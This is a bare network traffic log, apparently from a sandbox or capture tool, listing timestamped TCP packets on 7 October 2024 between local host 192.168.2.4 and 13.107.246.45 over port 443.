Oct 7, 2024 03:16:15.362061024 CEST	443	49863	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.364135981 CEST	49868	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.364159107 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.364236116 CEST	49868	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.364378929 CEST	49868	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.364389896 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.404062986 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.404124022 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.404160023 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.404192924 CEST	49864	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.404226065 CEST	49864	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.404390097 CEST	49864	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.404407978 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.404423952 CEST	49864	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.404433012 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.406529903 CEST	49869	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.406564951 CEST	443	49869	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.406630039 CEST	49869	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.406788111 CEST	49869	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.406801939 CEST	443	49869	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.686559916 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.687282085 CEST	49865	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.687346935 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.687782049 CEST	49865	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.687797070 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.786650896 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.786946058 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.787008047 CEST	49865	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.787101030 CEST	49865	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.787118912 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.787130117 CEST	49865	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.787136078 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.790332079 CEST	49870	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.790390015 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.790468931 CEST	49870	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.790615082 CEST	49870	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.790627956 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.943264961 CEST	443	49866	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.943893909 CEST	49866	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.943928957 CEST	443	49866	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.944736958 CEST	49866	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.944746017 CEST	443	49866	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.977808952 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.978411913 CEST	49867	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.978446007 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.978888988 CEST	49867	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.978899002 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.040771008 CEST	443	49869	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.041416883 CEST	49869	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.041496992 CEST	443	49869	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.041886091 CEST	49869	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.041889906 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.041901112 CEST	443	49869	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.042154074 CEST	49868	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.042167902 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.042505026 CEST	49868	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.042510986 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.043442011 CEST	443	49866	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.043514013 CEST	443	49866	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.043581963 CEST	49866	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.043623924 CEST	443	49866	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.043653965 CEST	443	49866	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.043761015 CEST	49866	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.043833971 CEST	49866	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.043833971 CEST	49866	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.043864965 CEST	443	49866	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.043886900 CEST	443	49866	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.046883106 CEST	49871	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.046905041 CEST	443	49871	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.047508955 CEST	49871	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.047658920 CEST	49871	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.047667027 CEST	443	49871	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.079675913 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.079921007 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.079977989 CEST	49867	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.080013037 CEST	49867	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.080028057 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.080041885 CEST	49867	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.080049038 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.082364082 CEST	49872	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.082377911 CEST	443	49872	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.082556963 CEST	49872	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.082556963 CEST	49872	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.082576036 CEST	443	49872	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.137898922 CEST	443	49869	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.138041973 CEST	443	49869	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.138130903 CEST	49869	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.138252020 CEST	49869	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.138252020 CEST	49869	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.138283014 CEST	443	49869	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.138307095 CEST	443	49869	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.140461922 CEST	49873	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.140490055 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.140666008 CEST	49873	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.140757084 CEST	49873	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.140789986 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.145311117 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.145381927 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.145431995 CEST	49868	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.145445108 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.145483971 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.145534039 CEST	49868	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.145555019 CEST	49868	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.145569086 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.145581007 CEST	49868	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.145586014 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.147423983 CEST	49874	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.147437096 CEST	443	49874	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.147602081 CEST	49874	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.147602081 CEST	49874	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.147631884 CEST	443	49874	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.427862883 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.428622961 CEST	49870	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.428689003 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.429124117 CEST	49870	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.429138899 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.527003050 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.527107000 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.527165890 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.527189970 CEST	49870	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.527251005 CEST	49870	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.527605057 CEST	49870	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.527643919 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.527672052 CEST	49870	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.527687073 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.531315088 CEST	49875	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.531364918 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.531469107 CEST	49875	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.531641960 CEST	49875	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.531656027 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.724633932 CEST	443	49871	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.725367069 CEST	49871	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.725383043 CEST	443	49871	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.726032972 CEST	49871	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.726037979 CEST	443	49871	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.732081890 CEST	443	49872	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.732697964 CEST	49872	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.732709885 CEST	443	49872	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.733095884 CEST	49872	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.733100891 CEST	443	49872	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.780308008 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.781174898 CEST	49873	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.781199932 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.781519890 CEST	49873	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.781534910 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.800657988 CEST	443	49874	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.801779985 CEST	49874	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.801798105 CEST	443	49874	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.802095890 CEST	49874	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.802102089 CEST	443	49874	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.829221964 CEST	443	49871	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.829446077 CEST	443	49871	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.829545975 CEST	49871	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.829730988 CEST	49871	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.829747915 CEST	443	49871	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.829760075 CEST	49871	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.829765081 CEST	443	49871	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.833712101 CEST	49876	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.833761930 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.833864927 CEST	49876	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.834139109 CEST	49876	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.834156036 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.847274065 CEST	443	49872	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.847373962 CEST	443	49872	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.847453117 CEST	49872	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.847459078 CEST	443	49872	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.847516060 CEST	49872	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.847773075 CEST	49872	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.847794056 CEST	443	49872	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.847812891 CEST	49872	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.847817898 CEST	443	49872	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.851110935 CEST	49877	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.851154089 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.851231098 CEST	49877	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.851452112 CEST	49877	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.851469994 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.878479958 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.878647089 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.878813982 CEST	49873	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.879034996 CEST	49873	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.879034996 CEST	49873	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.879067898 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.879076958 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.882114887 CEST	49878	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.882160902 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.882247925 CEST	49878	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.882405043 CEST	49878	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.882419109 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.900458097 CEST	443	49874	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.900623083 CEST	443	49874	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.900696039 CEST	49874	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.900978088 CEST	49874	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.900978088 CEST	49874	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.901009083 CEST	443	49874	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.901019096 CEST	443	49874	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.903688908 CEST	49879	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.903712034 CEST	443	49879	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:16.903784990 CEST	49879	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.903908968 CEST	49879	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:16.903919935 CEST	443	49879	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.177356958 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.178111076 CEST	49875	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.178148985 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.178616047 CEST	49875	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.178622007 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.277031898 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.277229071 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.277323008 CEST	49875	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.277822018 CEST	49875	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.277844906 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.277861118 CEST	49875	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.277868032 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.286612034 CEST	49880	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.286663055 CEST	443	49880	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.286732912 CEST	49880	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.286911964 CEST	49880	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.286926985 CEST	443	49880	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.481776953 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.482553959 CEST	49876	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.482583046 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.483026028 CEST	49876	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.483031988 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.538549900 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.539108038 CEST	49878	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.539132118 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.539571047 CEST	49878	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.539576054 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.544635057 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.544969082 CEST	49877	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.544985056 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.545351982 CEST	49877	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.545366049 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.551594019 CEST	443	49879	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.551924944 CEST	49879	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.551940918 CEST	443	49879	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.552318096 CEST	49879	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.552325010 CEST	443	49879	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.582669020 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.582707882 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.582748890 CEST	49876	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.582758904 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.582775116 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.582829952 CEST	49876	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.583102942 CEST	49876	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.583115101 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.583123922 CEST	49876	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.583129883 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.589492083 CEST	49881	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.589530945 CEST	443	49881	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.589600086 CEST	49881	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.589828968 CEST	49881	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.589847088 CEST	443	49881	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.638375998 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.638645887 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.638703108 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.638730049 CEST	49878	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.638773918 CEST	49878	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.638895035 CEST	49878	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.638916016 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.638926029 CEST	49878	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.638931990 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.642437935 CEST	49882	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.642471075 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.642565966 CEST	49882	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.642750025 CEST	49882	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.642765999 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.647175074 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.647455931 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.647510052 CEST	49877	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.647550106 CEST	49877	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.647562981 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.647572041 CEST	49877	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.647576094 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.649772882 CEST	49883	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.649811029 CEST	443	49883	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.649887085 CEST	49883	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.650043964 CEST	49883	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.650063038 CEST	443	49883	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.654463053 CEST	443	49879	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.654907942 CEST	443	49879	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.654964924 CEST	49879	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.654994965 CEST	49879	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.655003071 CEST	443	49879	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.655016899 CEST	49879	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.655021906 CEST	443	49879	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.656866074 CEST	49884	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.656907082 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.657097101 CEST	49884	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.657232046 CEST	49884	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.657252073 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.954780102 CEST	443	49880	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.955408096 CEST	49880	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.955434084 CEST	443	49880	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:17.955924034 CEST	49880	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:17.955929995 CEST	443	49880	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.056900024 CEST	443	49880	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.057077885 CEST	443	49880	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.057148933 CEST	49880	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.057308912 CEST	49880	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.057327032 CEST	443	49880	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.057339907 CEST	49880	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.057347059 CEST	443	49880	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.060623884 CEST	49885	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.060687065 CEST	443	49885	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.060785055 CEST	49885	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.060954094 CEST	49885	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.060972929 CEST	443	49885	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.223714113 CEST	443	49881	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.224369049 CEST	49881	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.224389076 CEST	443	49881	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.224870920 CEST	49881	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.224878073 CEST	443	49881	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.289012909 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.289619923 CEST	49882	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.289663076 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.290010929 CEST	49882	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.290019989 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.298007011 CEST	443	49883	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.298289061 CEST	49883	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.298322916 CEST	443	49883	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.298608065 CEST	49883	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.298614979 CEST	443	49883	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.322757959 CEST	443	49881	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.322865009 CEST	443	49881	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.322951078 CEST	49881	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.323162079 CEST	49881	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.323180914 CEST	443	49881	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.323194981 CEST	49881	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.323200941 CEST	443	49881	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.328655958 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.330693007 CEST	49886	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.330744982 CEST	443	49886	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.330823898 CEST	49886	443	192.168.2.4	13.107.246.45
